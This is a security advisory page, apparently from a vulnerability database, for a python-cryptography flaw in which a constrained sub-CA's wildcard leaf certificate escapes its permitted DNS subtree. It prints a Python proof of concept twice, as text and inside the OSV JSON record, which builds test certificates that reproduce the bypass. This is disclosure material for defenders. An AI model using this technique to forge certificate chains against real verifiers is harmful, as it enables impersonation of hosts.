GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

BREW-ANSIBLE@10-CVE-2026-69248 (GHSA-M2H6-J472-RP4C)

Vulnerability from osv_homebrew – Published: 2026-08-13 16:35 – Updated: 2026-09-09 23:41 – Source website
VLAI
Summary
python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees
Details

Summary

If an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names.

PoC

#!/usr/bin/env python3
"""Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN.

Setup:
  Sub-CA permitted constraint: dNSName = foo.example.com
  Leaf SAN:                    dNSName = *.example.com
Expected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics).
Observed: pyca accepts; further, asks server-verifier whether the leaf is
authoritative for `bar.example.com` and pyca answers yes — a sub-CA scope
escape.
"""
import datetime
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.verification import (
    PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,
)

now = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)
day = datetime.timedelta(days=1)

def build(subject, issuer, key, issuer_key, ca, exts=()):
    b = (x509.CertificateBuilder()
         .subject_name(subject).issuer_name(issuer)
         .public_key(key.public_key())
         .serial_number(x509.random_serial_number())
         .not_valid_before(now - 30 * day)
         .not_valid_after(now + 3650 * day)
         .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))
    for e, c in exts:
        b = b.add_extension(e, c)
    return b.sign(issuer_key, hashes.SHA256())

# Root
rk = ec.generate_private_key(ec.SECP256R1())
rn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Test Root")])
root = build(rn, rn, rk, rk, True)

# Sub-CA constrained to foo.example.com
sk = ec.generate_private_key(ec.SECP256R1())
sn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Sub-CA")])
nc = x509.NameConstraints(
    permitted_subtrees=[x509.DNSName("foo.example.com")],
    excluded_subtrees=None,
)
sub = build(sn, rn, sk, rk, True, [(nc, True)])

# Leaf with SAN *.example.com (over-broad relative to the constraint)
lk = ec.generate_private_key(ec.SECP256R1())
ln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Leaf")])
san = x509.SubjectAlternativeName([x509.DNSName("*.example.com")])
leaf = build(ln, sn, lk, sk, False, [(san, False)])

# Policies
ca_pol = ExtensionPolicy.permit_all().require_present(
    x509.BasicConstraints, Criticality.AGNOSTIC, None,
)
ee_pol = ExtensionPolicy.permit_all().require_present(
    x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,
)
v = (
    PolicyBuilder()
    .store(Store([root]))
    .time(now)
    .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)
    .build_server_verifier(x509.DNSName("bar.example.com"))
)
try:
    v.verify(leaf, [sub])
    print("BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com")
except VerificationError as e:
    print(f"EXPECTED: VerificationError: {e}")

Impact

Acceptance of invalid certificate chain.


{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": null,
        "range_state": "affected",
        "resource": "cryptography",
        "resource_purl": "pkg:pypi/cryptography@46.0.3",
        "upstream_fixed_in": "49.0.0"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "ansible@10",
        "purl": "pkg:brew/ansible%4010"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/cryptography@46.0.3",
        "name": "cryptography",
        "resource": "cryptography",
        "strategy": "registry",
        "subject_version": "46.0.3"
      }
    ]
  },
  "details": "### Summary\nIf an intermediate constrained CA permits the DNS name `foo.example.com`, and the leaf certificate has a wildcard in its DNS SAN of `*.example.com`, python-cryptography\u0027s verifier accepts which allows escaping outside of the permitted names.\n\n### PoC\n\n```\n#!/usr/bin/env python3\n\"\"\"Standalone PoC: pyca\u0027s DNSConstraint::matches admits a too-broad wildcard SAN.\n\nSetup:\n  Sub-CA permitted constraint: dNSName = foo.example.com\n  Leaf SAN:                    dNSName = *.example.com\nExpected: rejection (RFC 5280 \u00a74.2.1.10 + standard wildcard semantics).\nObserved: pyca accepts; further, asks server-verifier whether the leaf is\nauthoritative for `bar.example.com` and pyca answers yes \u2014 a sub-CA scope\nescape.\n\"\"\"\nimport datetime\nfrom cryptography import x509\nfrom cryptography.x509.oid import NameOID\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric import ec\nfrom cryptography.x509.verification import (\n    PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,\n)\n\nnow = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)\nday = datetime.timedelta(days=1)\n\ndef build(subject, issuer, key, issuer_key, ca, exts=()):\n    b = (x509.CertificateBuilder()\n         .subject_name(subject).issuer_name(issuer)\n         .public_key(key.public_key())\n         .serial_number(x509.random_serial_number())\n         .not_valid_before(now - 30 * day)\n         .not_valid_after(now + 3650 * day)\n         .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))\n    for e, c in exts:\n        b = b.add_extension(e, c)\n    return b.sign(issuer_key, hashes.SHA256())\n\n# Root\nrk = ec.generate_private_key(ec.SECP256R1())\nrn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Test Root\")])\nroot = build(rn, rn, rk, rk, True)\n\n# Sub-CA constrained to foo.example.com\nsk = ec.generate_private_key(ec.SECP256R1())\nsn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Sub-CA\")])\nnc = x509.NameConstraints(\n    permitted_subtrees=[x509.DNSName(\"foo.example.com\")],\n    excluded_subtrees=None,\n)\nsub = build(sn, rn, sk, rk, True, [(nc, True)])\n\n# Leaf with SAN *.example.com (over-broad relative to the constraint)\nlk = ec.generate_private_key(ec.SECP256R1())\nln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Leaf\")])\nsan = x509.SubjectAlternativeName([x509.DNSName(\"*.example.com\")])\nleaf = build(ln, sn, lk, sk, False, [(san, False)])\n\n# Policies\nca_pol = ExtensionPolicy.permit_all().require_present(\n    x509.BasicConstraints, Criticality.AGNOSTIC, None,\n)\nee_pol = ExtensionPolicy.permit_all().require_present(\n    x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,\n)\nv = (\n    PolicyBuilder()\n    .store(Store([root]))\n    .time(now)\n    .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)\n    .build_server_verifier(x509.DNSName(\"bar.example.com\"))\n)\ntry:\n    v.verify(leaf, [sub])\n    print(\"BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com\")\nexcept VerificationError as e:\n    print(f\"EXPECTED: VerificationError: {e}\")\n```\n\n### Impact\n\nAcceptance of invalid certificate chain.",
  "id": "BREW-ansible@10-CVE-2026-69248",
  "modified": "2026-09-09T23:41:05Z",
  "published": "2026-08-13T16:35:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69248"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyca/cryptography/pull/14888"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyca/cryptography/commit/286c89128"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyca/cryptography"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3554.yaml"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees",
  "upstream": [
    "GHSA-m2h6-j472-rp4c",
    "CVE-2026-69248",
    "PYSEC-2026-3554"
  ]
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…